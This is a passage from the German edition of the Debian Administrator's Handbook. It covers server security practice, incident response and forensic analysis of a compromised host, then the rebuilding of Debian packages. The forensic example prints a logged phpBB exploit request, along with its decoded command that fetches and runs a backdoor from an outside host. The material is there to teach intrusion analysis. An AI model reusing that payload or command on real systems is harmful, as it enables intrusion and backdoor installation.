Die meisten Linux-Distributionen installieren standardmäßig eine Reihe von Unix-Diensten und zahlreiche Hilfsprogramme. In vielen Fällen werden diese Dienste und Programme für den eigentlichen Zweck, zu dem der Administrator den Rechner eingerichtet hat, nicht benötigt. Als allgemeine Richtlinie für Sicherheitsfragen gilt, dass nicht benötigte Software möglichst deinstalliert werden sollte. In der Tat macht es keinen Sinn, einen FTP-Server abzusichern, wenn in einem anderen, nicht benutzten Dienst eine Sicherheitslücke dazu ausgenutzt werden kann, Administratorrechte für den ganzen Rechner zu erlangen.

Aus demselben Grund werden Firewalls häufig so konfiguriert, dass sie Zugang nur zu solchen Diensten ermöglichen, die öffentlich zugänglich sein sollen.

Heutige Rechner sind ausreichend leistungsfähig, um mehrere Dienste auf demselben physischen Gerät unterzubringen. Aus ökonomischer Sicht ist eine solche Möglichkeit interessant: nur einen Rechner verwalten, geringerer Energieverbrauch und so weiter. Unter Sicherheitsaspekten kann diese Entscheidung jedoch problematisch sein. Ein einziger kompromittierter Dienst kann Zugang zum ganzen Rechner zur Folge haben, wodurch wiederum die anderen Dienste, die auf demselben Rechner untergebracht sind, gefährdet werden. Diesem Risiko kann entgegengewirkt werden, indem man die Dienste voneinander isoliert. Dies kann entweder durch Virtualisierung erreicht werden (jeder Service wird in einer eigenen virtuellen Maschine oder einem Container betrieben) oder durch AppArmor/SELinux (jeder Dienste-Daemon hat einen passend gestalteten Satz an Berechtigungen).

14.6.5. Benutzer sind Spieler

Spricht man über Sicherheit, so denkt man sogleich an den Schutz vor Angriffen durch anonyme Cracker, die sich irgendwo im Internetdschungel verbergen; eine häufig vergessene Tatsache ist jedoch, dass Risiken auch von innen entstehen können: ein Angestellter, der im Begriff ist, die Firma zu verlassen, könnte sensible Dateien aus wichtigen Projekten herunterladen und an Wettbewerber verkaufen, ein nachlässiger Verkäufer könnte während eines Treffens mit einem potentiellen Neukunden seinen Schreibtisch verlassen, ohne seine Sitzung zu sperren, ein ungeschickter Benutzer könnte versehentlich das falsche Verzeichnis löschen und so weiter.

Die Reaktion auf diese Risiken kann technische Lösungen umfassen: nur die tatsächlich erforderlichen Berechtigungen sollten den Benutzern gewährt werden und regelmäßige Sicherungskopien sind unabdingbar. In vielen Fällen wird der angemessene Schutz jedoch auch mit einer Unterweisung der Benutzer in der Vermeidung von Risiken verbunden sein.

KURZER BLICK autolog

Das Paket autolog stellt ein Programm bereit, das nach einer einstellbaren Zeitspanne untätige Benutzer selbstständig abschaltet. Es ermöglicht es auch, Benutzerprozesse abzustellen, die nach dem Ende einer Sitzung bestehen bleiben, um so Benutzer daran zu hindern, Daemons zu betreiben.

14.6.6. Physische Sicherheit

Es macht keinen Sinn, die Dienste und Netzwerke abzusichern, wenn die Rechner selbst nicht geschützt sind. Es gehört sich, dass wichtige Daten auf im laufenden Betrieb austauschbaren Platten in einem RAID-System gespeichert sind, da Festplatten irgendwann ausfallen und die Datenverfügbarkeit unabdingbar ist. Aber wenn jeder Pizzalieferant das Gebäude betreten, in den Serverraum schleichen und mit einigen ausgewählten Festplatten davonlaufen kann, ist ein wichtiger Teilbereich der Sicherheit nicht gegeben. Wer kann den Serverraum betreten? Wird der Zugang überwacht? Diese Fragen verdienen Beachtung (und eine Antwort), wenn die physische Sicherheit beurteilt wird.

Zur physischen Sicherheit gehört auch, dass Unfallrisiken wie Brände bedacht werden. Wegen dieses besonderen Risikos ist es gerechtfertigt, die Sicherungsmedien in einem separaten Gebäude zu lagern oder wenigstens in einem feuersicheren Stahlschrank.

14.6.7. Rechtliche Haftung

Einem Administrator vertrauen seine Nutzer mehr oder weniger vorbehaltlos, genauso wie die Nutzer des Netzwerks im Allgemeinen. Er sollte deshalb jede Nachlässigkeit vermeiden, die von böswilligen Menschen ausgenutzt werden könnte.

Ein Angreifer, der die Kontrolle über Ihren Rechner übernimmt und ihn dann als vorgeschobene Basis („Relais-System“ genannt) benutzt, um von ihm weitere böswillige Aktivitäten auszuführen, könnte Ihnen rechtliche Probleme verursachen, da die angegriffene Seite den Angriff zunächst als von Ihrem System ausgehend sieht und daher Sie als Angreifer (oder als Komplizen) betrachten wird. In vielen Fällen wird der Angreifer Ihren Server als Relais zur Versendung von Spam benutzen, was keine großen Auswirkungen haben sollte (außer möglicherweise die Registrierung in schwarzen Listen, die Ihre Fähigkeit, legitime E-Mails zu versenden, beschränken könnte), aber dennoch unangenehm wäre. In anderen Fällen können durch Ihren Rechner bedeutendere Störungen verursacht werden, wie zum Beispiel Denial-of-Service-Angriffe. Dies wird manchmal zu Einnahmeverlusten führen, da die berechtigten Dienste nicht verfügbar sein und Daten zerstört werden können; manchmal wird dies auch tatsächliche Kosten verursachen, da die angegriffene Seite rechtliche Schritte gegen Sie einleiten kann. Rechteinhaber können Sie verklagen, wenn eine nicht autorisierte Kopie eines urheberrechtlich geschützten Werkes von Ihrem Server weitergegeben wird, sowie andere Unternehmen, falls sie aufgrund von Dienstgütevereinbarungen zu Strafzahlungen infolge des Angriffs durch Ihren Rechner verpflichtet sind.

Wenn dies geschieht, genügt es nicht gewöhnlich nicht, seine Unschuld zu beteuern; Sie werden zumindest überzeugende Beweise benötigen, die von einer bestimmten IP-Adresse ausgehende verdächtige Aktivitäten auf Ihrem Rechner zeigen. Dies wird nicht möglich sein, wenn Sie die Empfehlungen dieses Kapitels vernachlässigen und zulassen, dass der Angreifer Zugang zu einem privilegierten Konto (insbesondere Root) erlangt und dies dann dazu benutzt, seine Spuren zu verwischen.

14.7. Umgang mit einem kompromittierten Rechner

Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.

14.7.1. Den Einbruch eines Crackers entdecken und sehen

Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.

Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zurzeit gerade ausführt:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.

Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:

eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;

eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;

Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;

und so weiter.

14.7.2. Den Server vom Netz nehmen

Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.

Dies ist nur möglich, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters weit entfernt befindet oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe Abschnitt 14.7.3, „Alles aufbewahren, was als Beweis dienen könnte“, Abschnitt 14.7.5, „Forensische Analyse“ und Abschnitt 14.7.6, „Das Angriffsszenarium wiederherstellen“) und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer sshd). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu „reinigen“.

14.7.3. Alles aufbewahren, was als Beweis dienen könnte

Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.

Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme) und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.

VORSICHT Analyse unter Spannung

Obwohl es verlockend sein mag, das System zu analysieren, während es läuft, sollte dies unterlassen werden, vor allem, wenn der Server physisch nicht erreichbar ist: Sie können einfach den Programmen, die zurzeit auf dem kompromittierten System installiert sind, nicht trauen. Es ist gut möglich, dass ein unterwanderter ps-Befehl einige Prozesse verbirgt oder dass ein unterwanderter ls-Befehl Dateien verbirgt; manchmal ist sogar der Kernel kompromittiert!

Falls eine solche Analyse „unter Spannung“ dennoch notwendig ist, sollte darauf geachtet werden, nur bekanntermaßen einwandfreie Programme zu benutzen. Eine gute Möglichkeit dies zu tun besteht darin, eine Rettungs-CD mit einwandfreien Programmen zu verwenden oder eine schreibgeschützte Netzwerkfreigabe. Jedoch könnten selbst diese Gegenmaßnahmen nicht ausreichend sein, falls der Kernel selbst kompromittiert ist.

Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm nc). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.

14.7.4. Neu installieren

Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Hintertüren), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Forensische Analyse

Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.

Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:

.bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;

das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;

der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;

die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;

Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see Abschnitt A.8, „Kali Linux“), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see Abschnitt A.6, „Grml“).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Das Angriffsszenarium wiederherstellen

Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.

Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Hintertür aus.

Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.

Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.

In diesem Beispiel wurde der gesamte Einbruch rekonstruiert und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.

Kapitel 15. Ein Debian-Paket erstellen

Für einen Administrator, der regelmäßig mit Debian-Paketen umgeht, ist es durchaus normal, dass er eines Tages das Bedürfnis hat, seine eigenen Pakete zu erstellen oder ein vorhandenes Paket zu ändern. In diesem Kapitel sollen die häufigsten Fragen zu diesem Thema beantwortet und die Komponenten vorgestellt werden, die erforderlich sind, um die Vorteile der Debian-Infrastruktur möglichst gut zu nutzen. Mit etwas Glück könnten Sie, nachdem Sie sich an lokalen Paketen versucht haben, sogar das Bedürfnis verspüren, weiter zu gehen und sich am Debian-Projekt selbst zu beteiligen!

15.1. Ein Paket aus seinen Quellen neu erstellen

Unter verschiedenen Umständen ist es erforderlich, ein Binärpaket neu zu erstellen. In manchen Fällen benötigt der Administrator eine Programmfunktion, für die das Programm mit einer bestimmten Kompilierungsoption aus den Quellen kompiliert werden muss; in anderen Fällen ist das Programm, das in der installierten Debian-Version gebündelt ist, nicht aktuell genug. Im zweiten Fall erstellt der Administrator gewöhnlich ein aktuelleres Paket aus einer neueren Debian-Version wie zum Beispiel Testing oder sogar Unstable, so dass dieses neue Paket dann in seiner Stable-Distribution läuft; dieser Vorgang wird „Backporting“ genannt. Wie immer sollte man, bevor man eine solche Aufgabe beginnt, überprüfen, ob sie nicht bereits erledigt worden ist. Ein kurzer Blick auf den Debian Package Tracker für das Paket sollte diese Information liefern.

→ https://tracker.debian.org/

15.1.1. Die Quellen besorgen

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source package-name command. This command requires a deb-src line in the /etc/apt/sources.list file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see Abschnitt 6.1, „Befüllen der sources.list Datei“). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line.

If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc — for Debian Source Control — *.tar.comp, and sometimes *.diff.gz or *.debian.tar.comp — comp taking one value among gz, bz2 or xz depending on the compression tool in use), then run the dpkg-source -x file.dsc command. If the *.dsc file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL command. This command (which can be found in the devscripts package) fetches the *.dsc file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using dscverify, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. Änderungen vornehmen

Nehmen wir zum Beispiel das Paket samba.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 12.3 MB of source archives. Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B] Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB] Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB] Fetched 12.3 MB in 3s (4,582 kB/s) dpkg-source: info: extracting samba in samba-4.13.13+dfsg dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch dpkg-source: info: applying [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.13.13+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.13.13+dfsg-1~deb11u3, we can create version 2:4.13.13+dfsg-1~deb11u3+falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd 4.13.13+dfsg-1~deb11u3 $ dch --local +falcot

Der letzte Befehl ruft einen Texteditor auf (sensible-editor — dies sollte Ihr Lieblingseditor sein, wenn er in den Umgebungsvariablen VISUAL oder EDITOR angegeben wird und ansonsten den Standardeditor) um die durch diese Neuerstellung verursachten Unterschiede zu dokumentieren. Dieser Editor zeigt uns, dass dch die Datei debian/changelog wirklich geändert hat.

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make … or cmake … or …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages and debhelper(7) for explanations on how to achieve this).

Je nach den vor Ort vorgenommenen Veränderungen der Pakete kann auch eine Aktualisierung der Datei debian/control, die eine Beschreibung der erzeugten Pakete enthält, erforderlich sein. Diese Datei enthält insbesondere Build-Depends-Zeilen, die die Liste der Abhängigkeiten überwachen, die zum Zeitpunkt der Paketerstellung erfüllt sein müssen. Sie beziehen sich häufig auf Versionen von Paketen, die in der Distribution enthalten sind, aus der das Quellpaket stammt, jedoch in der Distribution, die für die Neuerstellung verwendet wird, möglicherweise nicht vorhanden sind. Es gibt kein automatisches Verfahren um herauszufinden, ob eine Abhängigkeit tatsächlich besteht, oder ob sie nur angegeben wird, um sicherzustellen, dass die Neuerstellung nur mit der jüngsten Version einer Programmbibliothek unternommen wird - dies ist die einzig verfügbare Möglichkeit, einen Autobuilder dazu zu zwingen, während einer Neuerstellung eine bestimmte Paketversion zu verwenden. Aus diesem Grund benutzen Debian-Betreuer häufig streng versionierte Erstellungsabhängigkeiten.

Wenn Sie mit Sicherheit wissen, dass diese Erstellungsabhängigkeiten zu streng sind, haben Sie die Wahl, sie vor Ort zu lockern. Die Lektüre der Dateien, die den normalen Weg zur Erstellung des Programms dokumentieren - diese Dateien sind häufig INSTALL benannt - hilft Ihnen, die passenden Abhängigkeiten herauszufinden. Idealerweise sollten alle Abhängigkeiten durch die Distribution, die für die Neuerstellung verwendet wird, erfüllt werden. Wenn dies nicht der Fall ist, beginnt ein rekursiver Prozess, bei dem die im Build-Depends-Feld genannten Pakete zurückportiert werden müssen, bevor es das Zielpaket kann. Es kann sein, dass einige Pakete nicht zurückportiert werden müssen und während des Erstellungsprozesses in ihrem gegenwärtigen Zustand installiert werden können (ein namhaftes Beispiel ist debhelper). Beachten Sie, dass der Prozess des Zurückportierens sehr schnell kompliziert werden kann, wenn Sie nicht aufpassen. Daher sollten Zurückportierungen so gering wie möglich gehalten werden.

TIPP Build-Depends installieren

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep package command.

15.1.3. Die Neuerstellung beginnen

Wenn alle erforderlichen Veränderungen auf die Quellen angewendet worden sind, können wir damit beginnen, das eigentliche Binärpaket (die .deb-Datei) zu erstellen. Der gesamte Prozess wird durch den Befehl dpkg-buildpackage gesteuert.

Beispiel 15.1. Ein Paket neu erstellen

$ dpkg-buildpackage -us -uc [...]

The previous command can fail if the Build-Depends field has not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time. The switch can still be very useful if you only want to create a source package, which is supposed to be passed to clean build environments as described in QUICK LOOK Building packages in chrooted and virtual environments.

The other options used in the above example make sure that neither the source package's .dsc (-us) nor the produced .changes file (-uc) get signed with the package builder's cryptographic key after the asuccessful build.

HILFSPROGRAMM fakeroot

Im Wesentlichen besteht der Prozess der Paketerstellung einfach darin, eine Reihe von bestehenden (oder erstellten) Dateien in einem Archiv zusammenzufassen; die meisten dieser Dateien werden in diesem Archiv im Besitz von root stehen. Das ganze Paket unter diesem Benutzer zu erstellen, würde jedoch zu erhöhten Risiken führen; glücklicherweise kann dies mit dem Befehl fakeroot vermieden werden. Dieses Hilfsprogramm kann verwendet werden, um ein Programm auszuführen und ihm dabei den Eindruck zu vermitteln, dass es als root läuft und Dateien mit beliebigen Eigentumsrechten und Berechtigungen erstellt. Wenn das Programm das Archiv erstellt, das zum Debian-Paket werden wird, wird es dazu gebracht, ein Archiv zu erstellen, das Dateien enthält, die beliebigen Eigentümern gehören, einschließlich root. Dies ist so praktisch, dass dpkg-buildpackage bei der Paketerstellung fakeroot standardmäßig verwendet.

Man beachte, dass das Programm nur dazu gebracht wird zu „glauben“, dass es unter einem privilegierten Konto läuft, und dass der Prozess in Wirklichkeit als der Benutzer läuft, der den Befehl fakeroot programm ausführt (und dass die Dateien in Wirklichkeit mit den Berechtigungen dieses Benutzers erstellt werden). Zu keiner Zeit erlangt es tatsächlich Root-Privilegien, die es missbrauchen könnte.

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in chrooted and virtual environments

Building a package on an existing system, like a workstation or server, can pose several problems. Maybe the system has packages installed, that conflict with the build requirements. Or maybe it has packages (libraries, headers, etc.) installed, that the project to build is not supposed to use - e.g. from Testing, Unstable, or even from third parties. Also it might have packages installed, which are actually required for the build, but are not listed in debian/control. It is therefore a good practice to build a packages in “clean“ environments.

The sbuild, pbuilder, or cowbuilder programs (in the similarly named packages) allow building a Debian package in a chrooted environment. Each of them first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

These tools allow the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and the chrooted environments can be running on the same machine using Unstable for package builds. Using these tools, it is also possible to build for a different distribution, like Ubuntu.

schroot, sbuild-shell, or pbuilder allow running a command or a login shell in a chrooted environment.

Sometimes it is not enough to build a package in a chrooted environment. This can be due to building for a different architecture where cross-compilation does not work, or due to the tools not being able to create a chrooted environment for the desired target system. Then one can create virtual machines to build the package there. These setups are usually more complex then the tools mentioned above, and rarely needed, so we will only mention this possibility without going into much detail. Check out Abschnitt 12.2, „Virtualisierung“ for an introduction into this topic.

15.2. Ihr erstes Paket erstellen

15.2.1. Meta-Pakete oder vorgetäuschte Pakete

Vorgetäuschte Pakete und Meta-Pakete sind insofern ähnlich, als sie leere Hüllen sind, die nur um des Effektes willen existieren, den ihre Meta-Daten auf den Paketverarbeitungsstapel haben.

